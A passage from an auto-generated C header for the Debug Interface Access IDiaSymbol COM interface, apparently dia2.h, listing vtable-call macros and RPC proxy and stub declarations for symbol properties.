-> get_unused(This,pRetVal) ) #define IDiaSymbol_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_virtualBaseTableType_Proxy( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol_get_virtualBaseTableType_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasManagedCode_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_hasManagedCode_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isHotpatchable_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isHotpatchable_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCVTCIL_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isCVTCIL_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMSILNetmodule_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isMSILNetmodule_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCTypes_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isCTypes_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isStripped_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isStripped_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_frontEndQFE_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD 